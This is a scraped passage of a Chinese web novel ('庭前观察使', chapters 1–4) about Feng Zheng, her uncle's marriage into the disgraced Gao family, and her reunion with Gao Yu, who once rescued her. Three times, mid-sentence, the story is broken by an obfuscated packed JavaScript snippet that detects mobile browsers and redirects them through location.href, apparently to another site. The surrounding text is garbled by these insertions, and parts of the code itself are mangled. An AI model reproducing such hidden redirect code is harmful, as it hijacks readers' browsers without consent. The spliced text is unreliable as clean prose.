《庭前观察使》 1. 第1章 正阳显见，黎午似蒸。 宣城北街的牌坊楼下，冯筝将一只绣着鸳鸯连理的荷包塞给小童。 “吃了我家的喜糖，嘴巴就要放乖点哦。” 晌午天，街面尽是凑热闹的人，成堆缩在树荫底下，对即将到来的仪仗翘首以盼。日光漏过槎枒擦过瓦檐，落地后重新融合成片，将长街远近十里照出从未有过的敞亮。 牌坊楼前，小童睁着亮晶晶的眼睛，抱着塞满喜糖的荷包问。 “高娘子是你什么人呀，为什么大家都要骂她呢？” 冯筝短暂没有说话，身边吴阿姆却暗道果然，亲家那点来历，连路上随便一个孩童都有所耳闻。 周围人言凉薄，想到半大的孩童容易被教唆，学舌起来最是要命，吴阿姆正要督促小童把嘴放乖，冯筝便已出声回答。 “她是我阿伯的新嫁娘，是我冯家长房未来的主母，高娘子没有犯错，所以大家都不该骂她。” 这事解释起来费工夫，冯筝替小童剥开糖块，语焉不详地蒙混过去。吴阿姆闻言，多愁善感的性情使她眼神透露出哀戚，冯筝读得懂，这哀戚的出处究竟在哪里。 去年，江南科场舞弊案轰动朝野，高家家眷悉数遭殃，这事要怪，就怪亲家翁高平缮不愿做人。 庆朝延揽人才的贡举制度，分为岁贡和科举两个名目。登科士子江南厚，作为朝中延揽人才的重地，江南依靠地缘优势，承接了景仁年间第一场岁贡考试。 朝廷选派三品大员下赴江南，会同礼部主理科考事宜，结果录榜张放后不久，前有舞弊一事曝出，后有当朝宰辅高平缮借知贡举之职私行便宜，贿通世胄，于行卷过程中泄露题眼一事暴露。 落榜者义愤填膺，众举子投江以示死节，厚如毡雪的奏疏前，庆帝怒召三司会审，来回碾压的车轮战牵连一批高官落马，很快就将高相贪墨之罪坐实。 结果就是，高家满门连坐，财帛尽数充公。 高母死得早，生前育有二子一女。高相伏诛后，长子高振流放儋州，高豫行三，太学学士出身，时任睦州观察使，经过朝廷衡量，停职并且褫夺为白身，而二娘子高蘅，最终能够幸免于难，还源于她身上这桩颇有争议的婚约。 冯公与高父结识得早，这桩婚约也来得草率，是两人在同年登科的曲江宴上，冒着酒酣写下的醉笔之辞。多年后，重返京城的冯公登门提亲，没想到再见面时，曾经挚友已经身居宰辅。 高门府第，世故练达，一番薄茶冷待，足以让冯公领略到悔亲意味，所以提亲的来意还没来得及讲明，一颗热切的心便已冷透。 登科那年，冯公成绩挂虎榜末尾，应吏部之选，在司封司领了个闲职，后来挂冠归乡，才举家回到了宣城。 这桩醉拟的婚约不是秘密，曾经短暂沦为京族谈资，直到高家满门获罪，才再次被人问起虚实。 凶险关头，若非高豫百般斡旋，若非冯公不计前嫌，点头认亲，高娘子高蘅，可能如今还深陷诏狱生死不明。 在这样一场变故里，冯家始终高风亮节，高家则显得狼狈不堪，一时间，称赞的贬损的，各种声音混杂在一起，众人贬损新妇高蘅，完全没有意识到，这也是变相在让冯家难堪。 算起来，新嫁娘高蘅确实无辜，只是案件敏感不好骂罪臣，众人对高家子嗣又知之不详，才将目标转移到她的身上。 围观群众接了冯家的喜糖，碎嘴的声音勉强收敛，然而依旧算不上动听。 “听说高娘子今年二十五，蹉跎成老姑娘才出阁，搞不好是有什么顽疾。” “谁叫她爹食言而肥，这样刻薄寡恩，换做以前，她就是王公贵女也难出嫁。” 阳光跳跃在睫，刺目的强光催生出轻微眩晕感，冯筝有些睁不开眼，颦眉偏头压了压眼角，吴阿姆见她沉默起来，以为她在自责将事情搞砸。 她们沿路分赠喜囊，就是想要缓冲舆情，虽然貌似收效甚微，但眼看接了喜糖的百姓没再说丑话，足以见得姑娘这招是奏效的。 “姑娘心善，想要替姻亲挽尊，高蘅娘子知道了，定会感激姑娘的用心。” 冯筝凝眉轻轻摇头，卢阿姆看懂立马噤声：亲家毕竟身份敏感，挽尊这词用得不妥，说多了就都是话柄。 最后一只喜囊分发掉，府里的婢女前来催促。 一行人打道回府，吴阿姆喊住婢女云雀，“你走这么快做什么，天这样热，也不知道体贴一下姑娘。” 云雀急得额头尽是汗，回头看到姑娘一样没多轻松，神情很为难道。 “大爷去城关接亲，已经与前来送嫁的高三郎君打上照面，高家来了些旁支疏属，眼看片刻就要到。孟夫人催促得急，说亲家翁过了世，两家人素未谋面，总得留个好印象。” 说着替冯筝挽过篮子，“夫人说了，规矩就是规矩，不管姑娘怎样发慈悲，错过吉时还是要挨罚。” 她喋喋不休讲着初次会面何等重要，殊不知这双素未谋面的姻亲，对冯筝来说，不算完全素未谋面。 冯筝陪祖父回京那年，“白泽补”等纹样盛行京圈，太学院里亦不能免俗。 贵胄锦带缀容臭，王公华服嵌腰封，那些祥禽瑞兽纹看得她是眼花缭乱，其中一人叙谈款款，大袖朦胧得似隔在人群之间的蔼蔼云雾，站在人群中，如同雾满拦江时望不清的隔岸，只可远观而不可欺近。 后来，她着魔一般回到家，通宵达旦翻阅史籍，终于在《天官书》上找到眉目。 贴着微弱的烛光去照书上的字，她认真读出来：“若烟非烟，若云非云，郁郁纷纷，萧索轮囷，是谓庆云*……” 北街尽头，马车在等。 冯筝匆匆停下来，一点薄汗顺着颈线没入交领，眩晕感在双眼半阖中得到缓冲，当那本早就被遗忘的史籍，字里行间涌现脑海，冯筝重新记起了往事—— 那个时候，冯筝并未瞧清他脸容，祖父也尚未被高相冷待，太学院前，只听祖父的同僚曾大人介绍，“那些都是太学院的学生，衣着最素的那个，就是高家行三的高豫了。” 京城权贵遍地，凭纹饰符号各成圈流，他一件庆云衫出场，能在悖逆流俗的场合下圆融立身，意味着什么，当时冯筝有些懵懂。 她细细对着史籍研读，慢慢涨了一点阅历，也渐渐明白，高豫必定处事练达。 于是在十三岁那年，她单方面结识了一个圆融练达的青年人来。 高豫出师太学，景仁元年的殿试场上，凭一篇《廷试策》名动朝班，朝廷委他以要职，随后，高豫顺利进入观察使司，谁知大好英年，却被一状手谕停职，从睦州赶赴京城受审 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16935078|192874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 江南科场案鞫谳惊险，传闻他生平第一件官赐的襕衫，就废在自己血泊之中。 远处人群发生躁动，冯筝惊促扭头，很快替自己感到汗颜。 好害臊，他们惦记冯家娶的新嫁娘，她倒好，惦记冯阿伯的妻舅爷。 -- 冯家有两脉男丁。两房尚未分家，长房冯承纲在城署中做佐吏，替郡丞司掌书史，二房冯承琨在书塾里教书。 冯筝是二房独女，一路上记着挨罚的话，等她回府一看，母亲哪里有空管她？ 这桩婚事由孟夫人打理，孟氏拉着喜婆，忙着照看婚俗事宜，没空理睬冯筝去向。 本来按照长幼序齿，少有二房先成家，长房却还没有婚配的道理。多年前冯老夫人病故，二房事先娶了亲，等冯承纲出了孝，原先议亲的女方却来退婚，种种事情蹉跎过去，冯承纲拖到三十五才终于成家。 所以哪怕如今的高家身份敏感，对冯家来说，迎娶高蘅，总归还是一件喜事。 府里张灯结彩，虽然都主张低调地办，对这桩姻亲却没有怠慢。 庭院前视野极好，当穿绮披红的婚仗刚刚露头，接亲的喜婆便立马出动，冯筝两步跃出廊庑，头顶一片阴影罩下，是婢女举来油纸伞遮阳。 阴翳拦住刺目阳光，她半闭的双眸随之睁全，但她却将伞柄推开，提裙迅速向前赶路。 声光熙攘处，喜婢簇拥着新妇出轿，直到跨完火盆，全福人才追撵上来，像只忙络的梭，引着金丝红线向前穿行，就将两姓成功交织在一起。 大门前，挤得臃肿的人群再次让开一条道。 踏入正门的冯公身边，一名青年举步赶来。 青年步履落拓，面朝冯公颔首交谈，朝这边走来时，身姿始终清拔遒劲。粗略一看，好像与那些贵胄无异，未曾认知过何谓苦难，只那长裾浆洗得发白，悬日底下，照见一缕摧颓过的影子。 看清他面容的那刻，冯筝整个人愣在原地，耳畔如遭钟鸣痛贯。 这个人，她分明是认识的。 三年前，她在襄阳遇匪，曾被一个男人救下。 她至今都记得，这个用贴身玉佩赎下她，在她面前伪装成樵夫的男人，是怎样谨遵医嘱，将浮着五苓大顺散的药碗磕进她牙关，是怎样宽纵姑息，面对被她糟蹋了一地的药钱眼也不抬。 又是如何惯用伎俩，在她寻死觅活的时候自嘲“滥施恩良”，趁她愧疚失察，将她的手牢牢摁在碗壁劝服她惜命。 男人掌宽指长，指腹粗粝掌心却很柔软，日常起卧，提剑握笔都不在话下，这样的人，怎么可能只是樵夫这样简单？ 她落入匪窝差点遭了殃，既苦于病痛寻死觅活，又想盼得家人来接，所幸焦虑拉扯半个月后，她终于等来亲人音讯。 他将身上的银钱拢进她绣囊，趁着春水涨堤前将她安顿，面对她欲报恩，面对“高姓大名”的繁琐追问，他只是笑了笑，用心又敷衍地自称“刍荛”。 冯筝很失策，仿佛又回到了三年前，还站在春水边，两人最后阔别的时候。 那时她也是这样，看似不求甚解，却对他的来历苦恼欲卒，一遍又一遍默读他给的名讳。 “刍荛、刍荛……” 人群中，有人叫出了他的名字：“高豫！” 2. 第2章 冯筝忽然就晕倒了，醒来时，那声“风筝”不断在她耳畔回响。 看诊的大夫说她得的是暑热症，仆婢们献来漉梨浆解暑，最后，还是孟氏屏退了众人，将浸着五苓散的汤药给她服下。 “我在喜堂被事情绊住，你倒好，往后一躺就把来客全给唬住。” 孟氏嘴损却也疼惜，将她的晕倒归结为白日出街，“像这种发喜糖发利是的事情，有仆役卖力，哪里用得着你去街上操心。若不是家里知道你的旧疾，差点要以为，高郎君对你说了什么重话。” 高家子嗣多数凄惨，唯二活着的还流放儋州，如今能出席婚宴的，只能是高豫没错了。 当时，喊住高豫的是提举学事司的督学官胡祯，闻声，即将远去的高豫骤然止步，转头回应“师伯”，偏偏就是这一回头，让他注意到廊檐前神情戚戚的冯筝。 冯筝脑海中最后的画面，就是悬日底下他快步走来，停在对面，琥珀瞳心微动：“原来‘风筝’姓冯。” 他百般感慨。 “没想到飘飖播迁半载，竟然还能有他乡遇故知的一天，冯姑娘，幸会啊。” 高豫和刍荛身份重合，那时的她，尚沉浸在意外中没缓过神来，听到他说话，这样的情绪重新感染到她，冯筝眼前一昏，心脏骤地跳空半拍，再醒来时已经躺在闺房。 自从三年前探亲远房亲戚，冯筝便不曾出过远门，孟秋不太相信女儿会结识高家人，但根据方才耳闻的情形，总觉得有哪里不对。 孟秋就问，“阿筝，高郎君跟你说什么了？” 冯筝沉默住，颦眉偏头看向别处，“我想不起来，可能是突然晕倒，脑袋磕糊涂了。” 这话真假参半，脑袋微疼却是真的。 满门获罪，不是普通的家宅变故，高豫官籍在册，官复原职却希望渺茫。所以最初，在得知高豫会来送亲时，她只是抱着接济一片月的心态，很期待能一睹这位京城太学学士的姿容。 至于看待这位高门罪眷，落魄骄矜，她所能做的，可能和街道两旁的百姓没什么不同：流露一点惋惜同情，然后再用几句遗憾的话，给他就此黯淡的生平批一批命。 然而命运给她开了一个巨大的玩笑。 当落魄骄矜是曾经恩公，当曾经的两人境遇颠倒，在这故人重逢本该激动欣喜的时刻，冯筝握一碗苦药，郁结的心情远胜惊喜。 她放空的双眼略显迷瞪，没有将高豫来认脸的事实挑明。 孟秋收起药碗便笑：“我看你是睡糊涂，不是磕糊涂了。高郎君将你打横抱回来，根本没让你磕着碰着，你将他脖子箍得死紧，吴嬷费了点劲才给掰开，谁能想到，昏迷的人能有这么大力气？” 冯筝想过自己在高家人面前失了礼，没想到失的是这么大一个礼，她心情沉重地去看阿姆，果然看到阿姆回以凄切眼神。 孟秋唯恐她打退堂鼓，坐下跟她讲规矩。 “府里人丁单薄，你是唯一的小辈，那也就是冯公的颜面，喜堂错过便错过了，但是喜宴可不能缺席。” 冯筝短暂没想通，她一个既无贤称也无美名的孙辈，怎么就略过两位父伯，荣膺祖父的颜面？ 答案就在问题里，等她亲自坐在宴堂里，就直观地领会到，孙辈就是门楣脸面。 喜宴上，经常有女客拉她叙话，大多都是冯家亲属，听说她午时晕倒，嘘寒问暖的时候难免问起症结。 如今暑末近秋，气候转凉，中暑晕倒略显稀奇，再者以冯家对孙辈的疼爱，夏季冰鉴凉瓜伺候着，不应该得此病症才对。 她这旧疾来得蹊跷，来历经不起推敲，那种面袋般被裹在马背上，颠簸数十里的噩梦，冯筝每每想起都一阵恶寒。 吴阿姆赶过来解围，“姑娘帮衬着夫人操持中馈，这些天劳碌过头，病症可不就趁虚而入。大喜的日子咱不提这个，府里准备了美酒佳酿，一会儿喝得高兴，还请帮大爷挡一挡酒啊。” 傍晚时分，阖府红灯成片点亮。 江南科场案的余威声震朝野，这桩亲事总有人避讳，冯家亲属来得不多，高家那就更少了，加上此次送亲的护随，勉强凑够五六桌酒席。 厨娘厨役们往来布菜，小厮在庭院伺候酒水，外面的宾客推杯问盏，两家姻亲则相聚前堂。 冯家眷属聚在一侧，让出对面孤零零的座席，某种对比惨烈的凄楚感，顿时将喜宴淹得透不过气来。 高豫撂起帘栊走进，堂间亮光争先恐后朝他簇拥过去，高豫睫梢轻轻上掀，清黑的眼瞳施然张放。 “听说按照宣城习俗，我作为女方家眷应当灌酒，如今高某孤立无援，四舍五入来算，倒成了我与姊婿对拼酒量。” 高豫腰缠朱绦，红得醒目的颜色缠结在腰侧，给清隽平和的青年添一抹艳色，他含笑打破沉默，神情谦逊地流露出压力，却提过酒壶自斟酒水，一举将对酌气氛拉满。 冯承纲揣一身喜袍就来迎战。 三巡酒水下肚，醉意直冲冯承纲颅顶，晃荡酒液前，高豫眼神始终谦和。 冯承纲不推辞，高豫酒杯便不好离手，期间学事司胡祯前来对话，高豫偶尔侧首听谈。 冯筝微微侧过身，吩咐后厨提前备好醒酒汤，冯公这就将她喊住。 冯公精神矍铄，对府里孙辈的存在向来很高调，想当年赴京城拜访朋僚，就牵着她在御街上四处招摇，此刻也是一样，胡祯高豫等人面前，冯公喊来冯筝引见。 “这是老夫的独孙女，单名一个筝字。冯筝，这是你高伯娘的弟兄，这位是学事司的督学大人。” 冯筝抚裙曲膝问好，在两人面前过了明路，胡督学率先笑道，“冯姑娘不用见外，胡某祖籍宣州，说起来，我们两家算同乡。” 话题落到高豫这边，冯承纲就出声提醒，“父亲，他们两个见过面了，午时阿筝犯晕，还是高三郎出手相助的呢。” 众目睽睽之下，高豫主动将这事揽起，“当时情况惊险，高某无意肢体冒犯，还请冯姑娘谅解。从庭院到厢房，全程都有仆妇陪护，所以我不能独揽功劳。” 冯筝明白，这是事情被抬到明面过议，他坦荡致歉，好能适时圆全他目睹险情时的事急从权。 表面听起来不愿揽功，实则维护女子闺誉。他解释冒犯在前，维护闺誉在后，这样圆融的做事风格，令冯筝想起两人过去在襄阳城，为了一帖药极端拉扯的情景。 这样礼貌亲善的人，说体贴又不完全体贴，他医嘱记得一字不差，煎药的手段却不得章法：五苓大顺散煎不开，浸在粗瓷海碗里飘如尘屑，叫本就绝望求死的她更倒胃口了。 刍荛拿她没办法，每当她负隅顽抗，就清清净净地离开，却又趁她昏迷，将药碗果断磕进她牙关。 动作熟练得不像樵夫，反倒像个恶徒酷吏。 就这样把她得罪狠了，事后却又讲起情面，停在榻边剥起饴糖，作为补偿她喝药的津赏。 然而，她从来不是一点甜头就能哄服的人。 她对喝药产生的抵触情绪，一直持续到诊堂里，因为横遭祸端而自怨自艾的她，公然将药碗推开的那天。 粗盏落地，碎成片瓦，诊堂瞬间寂静无声，医翁遍览世态炎凉，摇完头走开，练就一身看淡的本事，淡漠的人们退避三尺，唯独刍荛不能看淡。 他走过来蹲下身，手指伸向碎瓦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“接下来你有什么打算？” 高豫没细说：“京部将我限足，这两日，我要等一道谕旨。” 胡祯便听懂了，朝廷对他的度牒动了手脚。 高豫拜师集贤殿大学士施润章，施老对学生一向惜评，江南科场案事发后，却叹息着评价他“金昭玉粹，应憾守器承祧”。 胡祯深受触动，他是抱着这个遗憾来的，不想也是抱憾走的，试探着问，“你对这道谕旨，就没有一点想法？” 高豫回答，“圣人慈悲，臣子听凭裁决。” 胡祯额角微跳。在刑部狱还据理力争父兄清白的人，怎么事涉自己竟开始惜字？这种仿佛圣人叫他引颈受戮，他都能面不改色照做的姿态，委实扎到胡祯眼睛，但他想了想，也知道高豫本身也很被动。 胡祯这便妥协，“算了，能看开也是好事，坦然面对没什么不好，没准是个好结果呢……” “三郎君，快来和我对拼酒量！” 冯承纲挡开小厮的搀扶，强撑着醉态不肯认输。声音飘到室外，高豫致意失陪，取回自己的酒盏，没走几步又忽然停下。 冯筝静悄悄坐在绣凳上，静谧浓郁的灯影为她脸庞施就了檀妆，同样注视着他的姑娘，眼底情绪有几分复杂。 高豫想要靠近，脚步却迟疑住。 三年前他假扮刍荛躲避追杀，草莽角色穿梭山林，演绎起来并不轻松，碍于必须低调行事，他果真去靠割草采薪谋生。 山野葱郁，遍地都是树杈荆棘，一趟外出回来，一身衣裳惨不忍睹，如果遇上雨季，情况就更糟糕。 那天春雨滂沱，雨水模糊他纵眺的视野，山途被拉扯得艰涩而漫长，他毫不耽搁地回到屋子，就看到她端着一碟糕，用安静担忧的眼神看他。 糕碟尚带湿意，残雨循着碟沿溅落，在地上砸开斑驳水渍，她收紧摁在碗碟的指尖，情绪某一刻有点复杂。 有酸楚，有怜惜。 却万万不该对他这个骗子，抱有可以交心的信赖托付。 3. 第3章 高豫曾经打算过，等到“风筝”亲眷来接，他就摆脱追杀回睦州去，两人各归各途，从此就当素昧平生。 哪怕迟迟等不到对方亲眷，他也另有安顿办法，整理好思绪后，他便莞尔笑着进屋，隔着三尺屏帷换洗衣裳。 面对她的感恩，他不是第一次谢绝酬谢，但他怎么也想不到，没法子表达酬谢的她，竟会揣着他那身划破的葛衣，对着一簇灯火密密缝补。 针脚细密，别出心裁，这让见惯她骄纵蛮横一面的高豫，那天难得微微动容。 哪怕互相遮掩名讳，哪怕互不知根知底，被动匿迹在襄阳的高豫，就是那天心生动摇，问清那群害她落难的贼匪来路，索性帮人帮到底，冒着暴露身份的风险端了贼窝，向襄阳官衙亮明身份，只图一个严惩不贷。 “风筝”对他，无疑是感激涕零的。 他至今都记得，她是如何把替他送信的鹞鸽养得肚皮圆滚，把他被树枝划破的布衣缝补完好，又是如何在他因为春水涨堤，驿道封路而不得不提前启程离开的时候，顽缠着留下他让家人酬谢。 高豫心情复杂，顺势想要靠近，却因为场合不便而迟疑住。 三年过去，冯筝样貌丝毫没变，唯独气质沉静安详，令他短暂觉得陌生，或许这才是她本来的性情，当年所谓骄纵蛮横，只是遭遇不祥后担惊受怕，不能够就此武断置评。 高豫很快错开眼神，莫说往事不值一提，就说如今江南科场案这个祸端发生，冯筝不跟他相认再好不过。 三年前两人各归其位，就理应算作素昧平生。江南科场案蹊跷处不少，未来会发生很多事情，他后半生注定飘飖播迁，不指望故友跟他惺惺相惜，只要不站在对立面口诛笔伐，对他而言就是最好的结果。 冯承纲举着酒杯赶来，偏偏就是此刻，从书塾里散学的二爷回了府，冯承琨贸然出现，截下冯承纲的酒水，略过众人直奔高豫。 如果说第一回对饮算作挡酒，那么冯承琨不顾周围人劝阻，连续添满第三回酒，面朝高豫再做推请，就多少沾着点无礼的成分。 “贵客远道而来，冯家得尽地主之谊，冯某敬你几杯，三郎君千万不要推辞。” 杯盏微微前扣，酒水溅湿高豫手腕，高豫无视酒渍抬眼，看向这个与姊婿岁数相近的中年。中年人宽衫博袖，身上带点学究气质，却眉眼幽深算不上友善。 冯承琨事先将喜酒饮尽，没有给他回旋的余地，高豫笑了笑，只好给自己斟酒——直到有只素净的手，隔着绢帕按在他腕间。 “父亲这样做不公平。三郎君已经喝过不少酒，你半道截胡，难免有占便宜之嫌，不如让我以茶代酒，替他接这地主之谊。” 满座寂静。 冯承纲被冷落在旁，端着酒杯无人问津，他低头看了看醒目的喜袍，确认自己才是新郎官没错，东倒西歪地扭到近前，难以置信地，凑过一副头脸来问。 “二弟，你在灌谁的酒？” 扭头又看看冯筝。 “那你呢，你又在给谁挡酒？” “……” 在酉时将至的最后一刻钟里，望着满目杯喧箸嚷，冯公短暂回忆过自己履职生平，偶尔参与过的官场宴集。 他参与过的酒宴不多，有些事是慢慢懂得的，比如说，那一幕幕醉玉颓山，面对仕途的侃侃而谈，以及暗藏玄机的眉眼官司，都为之后殿堂上的激烈角逐拟好了草稿。 他与高平缮同年登科，在两人共事吏部的那一年，圣人感慨众贤盈朝，于曲江畔赐下百官宴。面对熟人或是生人劝酒，高平缮来者不拒，后来同僚们半开玩笑，彼时双双都没有妻室的他们，竟被怂恿结下了儿女亲家。 满桌人醉得将倒未倒，唯独冯公滴酒未沾，当时官拜翰林的编修黄迁，明面羡煞两人情谊，转脸却朝冯公发难，对他不胜酒力的说辞并不买账。 “古来酒中出文豪，文臣岂有不饮酒的道理？” 翰林编修层层递进，将文臣不饮酒，视同不与圣贤为伍。天大的罪过摁在他身上，年轻的冯公含冤莫白，却还是凭着一身硬气，将酒桌的气氛僵持到窒息。 冯公不理解，朝堂重臣显宦那样多，他凭本事登科，为什么要向小小一个编修低头。 穿廊风将檐角灯笼吹得打旋，火光燎动明暗界限。高平缮站在人群聚集处，这个比他合群太多的人，跨出簇拥舌战群僚。 而后沉默地递来薄酒，一次次试图将他拉回。 只是那个孤绝的他，最终还是没有服软。 冯公被过去困扰住，直到喜宴前，冯筝素净的手伸来解围，高豫顺势放下酒杯，天旋地转间，他堆皱的眼皮忽然颤动。 如果当时他配合一点，饮下那杯酒，面对高平缮的暖场，站住他阵脚，是不是后来两人就不会分道扬镳，以至于后来形同陌路，隔着漫长的生死无法来往？ …… 深夜时分，月光带来凉意，风一吹，就更凉了。 被叫到书房的冯承琨始终不理解，一个连文臣也算不上的落魄学士，到底有什么资格，值得父亲频频替他说话。 室内，烛盏火苗微晃，如同烫脚一般翕忽跳动，冯承琨捏着手心一层汗，胸臆一阵躁郁，眼里蹙起的怒意，比墙上晃动的烛影还要焦灼。 “高相悔婚在前，冯家对高家不计前嫌，外面哪个不称赞一声高风亮节？我等虽为闲散人家，但好歹清廉自重，如今冒着招惹污名的风险迎娶高蘅，他高家当然要对我们感恩戴德！” 冯承琨一直对高门子弟颇有微词，哪怕高三郎瞧着姿态谦逊，冯承琨更乐意理解为这是他微时势弱，藏起傲骨后谦卑示人的伪装。 冯公将烛罩扣下，转身摆他一眼，不紧不慢地吩咐。 “前脚还是个教书的夫子，满腔戾气的样子成何体统，福登，把醒酒汤给二爷端去，让他整理好情绪再跟我说话。” 冯承琨表情很难看，小厮福登害怕极了，双腿颤颤有些迟疑，他端着汤碗靠近，果然被二爷先一步挥开。 冯承琨暗暗握拳：“父亲！” “申明亭的告示判文清晰，高平缮借职责之便泄题。庆朝百年来，最重的刑罚不过是绞监候，结果京部竟判他斩杀弃市，这还不足够说明一切吗？高相爷贿通世胄，是个十恶不赦的罪臣， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16935080|192874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的子嗣都是罪眷，凭什么有人能独善其身！” 冯公屏退小厮，知道冯承琨在影射高豫，耐心给他普法。 “满门连坐，是律法，停职待判，却是对他四年来效命朝廷给予的尊重。朝廷做出裁断前，需要衡量他生平功过，至此给出公允的裁决，眼下高三郎与兄姊之间，只差一道裁制，哪里如你所说独善其身？” 冯承琨嘴唇微张，短暂没有出声，此刻注视着父亲，脑海里浮现的，却是把酒相对时青年清峻的眉。 容貌靠姿仪来支撑，而姿仪靠金钱来养。 冯承琨记起这句俗语，声音忿忿拔高，“我不涉足官场，对刑司断狱的流程不了解，我只知道这些贪墨者，哪个不是积资数万，如此靠父辈敛财养出来的子弟，这样的既得利益者，有什么脸面敢自诩无辜？” 自信扳回一局，冯承琨讽刺地笑着，竟让跟前的冯公错愕一瞬，冯公恍然扬眉，随即一掌拍在了案前，“贪墨？你真看不明白吗，你竟还看不明白！” 冯承琨惊促噤声。 “高平缮罪名贿通，错重在‘通’不在‘贿’。朝臣关系错综复杂，官场人情往来，有多少真的是真金白银过手？多的是互行变通，以抬手可行的便宜互偿。” “高平缮通同世胄，私行变通，因泄题被斩杀弃市，是他扰乱考纪犯了众怒，是朝廷为平士族愤怒，你以为，前朝那些顶着贿通罪名下狱的人，真的都是贪饷了铜臭吗？” 一席话掷地有声，仿佛听到什么不得了的事，冯承琨眼睫忽颤。 “你不是看了申明亭的告示吗，告示判词清晰，其中有一条财帛充公，那些数额你也看到了。” “很少。” “户部要将高家家财收缴国库，经过点检，他值钱的家当，无非几块普通的砚台，外加几幅字画绢本，还不抵内廷官员一个月的俸禄。最后点检的结果一出，还不是让那些判他死刑的三司颜面微损。” 冯公没再说下去，科场案案件敏感，他不愿再议高平缮的事，移开身影，话题转回高三郎。 “今日走在高豫身边的，是提举学事司的督学官胡祯，连他都偏帮高豫，你怎知高家没有重振的可能。高豫是御笔钦点的观察使，你只见他今朝落魄，怎知哪天他不会恢复名誉甚至登得更高。” “像他这般识略的年轻人，怎么可能自甘落魄，屈居平淡，他迟早要走，你何必逞一时的快意与人为难？” 冯公声音平静，双手交在身后，有什么情绪像浮云一样飘远，又随着堆积在眼皮的褶皱沉甸甸挣扎。 当冯公彻底转过身来，唤动眼前人乳名，半明半昧的光影从侧颜渲染至全貌，冯承琨忽然发现，父亲早已两鬓斑白。 “琨儿，行走世间诸多不易，我蹉跎半生，不求儿孙至仁至义，只求我谆谆教诲养大的晚辈，来日路过他人苦难时，能记得保留几分体谅。” “只要能做到如此，就是对我最大的慰藉了。” 一片静默中，冯承琨最终上前，端起晾在一旁的醒酒汤，老老实实喝完。 手托空碗，垂头低声。 “孩儿明白了。” 4. 第4章 □□疏风朗月，客院明窗大开。 冯筝潜入此处时，高豫正对着墙上那幅墨裱出神。 受冯家人款待，高豫今晚留宿客房。他面朝东墙侧接窗台，还是那身装束，夜里也不就寝。鲜红的衣带缠他文瘦的腰，一身长裾却颜色清冷，他微微仰着面容，对着尺幅墨字长立不前。 这样的他，对冯筝来说是少见的。 哪怕这其实才是他的常服，时至今日，冯筝脑中更清晰的印象，还停留在他腰挂斧具，以及偶尔沾着柴屑灰尘的葛衣上。 那些葛衣，那些布襦，和它们触碰起来的粗粝质感，曾造就他掺着市井气的秀致随和，比太学院前宽衫博袖，试想中的革带官服，都让她感到亲切太多。 风一吹，有点冷，冯筝抱住自己，再看窗内的高豫，更像一幅寒潭鹤影，她深深一吸气，寒潭鹤影也动了起来。 冯筝快步朝高豫走近，与他遥遥相望时又突然停住，云雀忙来扶住冯筝，生怕她一个趔趄将自己绊倒。 “不是说以茶代酒吗。” 高豫出声疑问，看到她手中的玉净瓶，顿时明白，“她喝酒了？” 语意关切冯筝，话却是问向她身边婢女。冯筝抢先否认：“不是酒，是寒潭香。” 寒潭香不沾酒字，却比寻常酒水还要醉人，高豫闻言眼神微变，“夺下去。” 云雀愣了愣，半晌才确定是吩咐自己，自知让姑娘碰酒是她失职，没管高豫的吩咐唐不唐突，这就伸手去捉玉净瓶。 冯筝眼神钝钝，还停留在方才他那句问话中没缓过神来，所以没等云雀得手，冯筝先不乐意了。 她往前一步指了指自己，“我人就站在这里呢，我的事你不来问我，问别人算怎么回事？” 冯筝只顾着幽怨，根本没去管问一个醉酒的人喝没喝酒，就好比问直接问他醉没醉一样有多荒唐。高豫但笑不语，却也轻拿轻放，看着她重新问。 “你喝酒了？” 冯筝心满意足，“不是酒，是寒潭香。” 顶着醉意答完，冯筝很容易便也笑了，转头打发走云雀，叫她回房给自己找一件罩衫来穿，自己则走到窗台，双手枕住脑袋，趴在窗前张望室内。 咫尺之隔让她饱览高豫，也让她看清墙上墨裱，“居高思坠，持满戒盈”八字，出自《九成宫醴泉铭》，卷幅司书斐然。府里像这种字画有很多，都是由冯公亲手书写。 冯公一手字画妙到毫颠，惹高豫驻足不算稀奇，她注视着那八字名诤，道理普通，偏偏感到心府微震。 冯筝眉尖细凝，转瞬黯然而平静，就好像这幅笔墨并没有足够吸引她，因为她很快挪开眼去看高豫。 “朱雀大街保康门外，太学院里身穿庆云服，站在众学子里分外出挑的人，是你吗？” 高豫迟滞了片刻，谦和点头，“是。” “弱冠那年殿试夺魁，那么多清要的官职不选，偏偏远赴睦州去做观察使，是你吗？” 高豫回答：“是我。” “去年案狱大兴，传信和我祖父斡旋婚事的人，也是你吗？” 高豫：“也是我。” 当事实越来越没有疑义，他的声音越发凝练，他表面看着冷静至极，实则尽量在等情绪冷却。 倒数两个问题之间，女孩其实停顿很久，仿佛中间存在某种空白，令她想不起来甚至讳莫如深，他便守着这份空白，等她继续说下去。 可惜冯筝没有下文。 于是，高豫俯眼，很武断地确定，“你果然不记得我。” 